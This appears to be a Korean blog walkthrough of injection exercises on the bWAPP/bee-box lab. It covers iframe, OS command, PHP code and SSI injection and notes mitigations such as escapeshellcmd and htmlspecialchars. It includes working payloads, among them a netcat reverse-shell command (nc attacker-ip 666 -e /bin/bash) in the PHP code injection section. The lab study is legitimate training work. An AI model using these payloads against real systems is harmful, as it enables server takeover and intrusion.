728x90
반응형

 

※ iframe 인젝션

iframe은 HTML 문서 안에서 또 다른 HTML 문서를 보여주는 태그로 다른 프레임들과는 달리 어느 위치든 상관없이 사용 가능하다.

 

해당 문제에 들어가면 다음과 같은 화면이 나오게 되고, 해당 내용은 robots.txt의 내용이다. 소스에서 페이지의 소스코드를 확인해보면 iframe태그에 의해 출력되는 것을 확인했다.

 

이렇게 출력되는 것을 보며 여기에는 HTML Injection이 가능할 것으로 추측된다.

" height="250" width="250"></iframe><iframe frameborder="0" src=http://192.168.219.123/bWAPP/htmli_get.php height="250" width="250"></iframe>

 

해당 공격문을 url뒤에 추가해서 request해보도록 하자.

 

공격이 성공적으로 수행되는 것을 볼 수 있다.

공격 후의 소스코드를 확인해보면 iframe태그가 추가되어 있는 것을 볼 수 있다.

 

※ OS Command 인젝션

시스템 명령어를 쿼리문에 주입하여 취약한 변수를 통해 서버 운영체제에 접근하는 공격

 

해당 DNS 질의는 서버단의 로직을 살펴보면 shell_exec명령어를 이용하여 nslookup을 수행하고 있다.

 

| (파이프 라인)을 이용하면 Injection이 가능하다.

ls명령어를 주입해보자.

 

PHP에서는 escapeshellcmd함수를 이용해서 시스템 명령어를 실행할 수 있는 특수문자 앞에 백슬리쉬를 붙여 일반문자로 인식하게 한다.

 

※ PHP Code 인젝션

phpi.php 파일 변수 message에 입력값 검증 미흡으로 시스템 정보 호출 가능하다.

 

 

비박스 서버에 테스트를 위한 attack.php 파일을 만들어 본 후, 해당 경로로 접근하면 시스템 명령어가 실행된다.

 

대표사진 삭제

사진 설명을 입력하세요.

이제 url 뒤에 code Injection을 수행해보자.

 

이제 번거롭게 url을 이용해 공격을 하는 것이 아닌, 쉘을 연결하여 공격을 시도해보자.

netcat 프로그램을 이용할 것이며, 공격자 측에서 666번 포트로 listen 상태로 만들어 놓자.

그 후, url을 이용해 비박스 서버에서 공격자 측으로 연결하도록 할 것이다.

 

공격 구문 : system('nc 공격자 ip 666 -e /bin/bash')

 

그 후, 공격자 측에서 쉘을 획득하여 시스템 명령어를 전달하면 결과값이 반환되는 것을 확인할 수 있다.

 

php code 인젝션의 대응방안으로는 php의 htmlspecialchars함수를 이용하는 것이다.

 

※ SSI(Server Side Includes) 인젝션

HTML에서 페이지의 전체코드를 수정하지 않고 공통 모듈 파일로 관리하며 동적인 내용을 추가하기 위해서 만들어진 기능이다.

주로 값이 자주 변동하는 방문자 수를 세거나 새로운 기능을 추가할 때 사용한다.

SSI를 사용하는 웹 페이지는 .shtml 확장자 파일을 생성한다.

<!--#echo var="DATE_LOCAL" -->

 

시스템 명령어를 실행해보자.

<!--#exec cmd="ls"-->

 

 

 

728x90
반응형

+ Recent posts